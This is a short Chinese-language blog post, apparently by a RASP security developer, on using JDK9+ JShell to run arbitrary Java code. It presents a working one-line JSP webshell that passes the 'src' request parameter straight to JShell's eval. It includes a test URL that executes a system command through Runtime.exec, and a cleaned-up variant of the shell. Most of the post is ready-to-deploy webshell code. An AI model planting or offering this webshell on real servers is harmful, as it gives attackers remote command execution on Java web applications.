JShell(JDK9+) eval 任意Java代码片段执行
最近几年开发RASP产品期间整理了很多的Java语言的特性,不过一直都没有时间写文章,可能真的是变懒了吧~
JDK9开始提供了一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今(2019年9月)了2年时间了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。
测试代码:
jsp1
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>
就这么简单的一行代码就可以了,src参数值是java代码片段。
测试用例:[http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()](http://localhost:8080/modules/jshell.jsp?src=new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("pwd").getInputStream())).readLine())
如果强迫症想撸掉多余的输出:
jsp1
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
666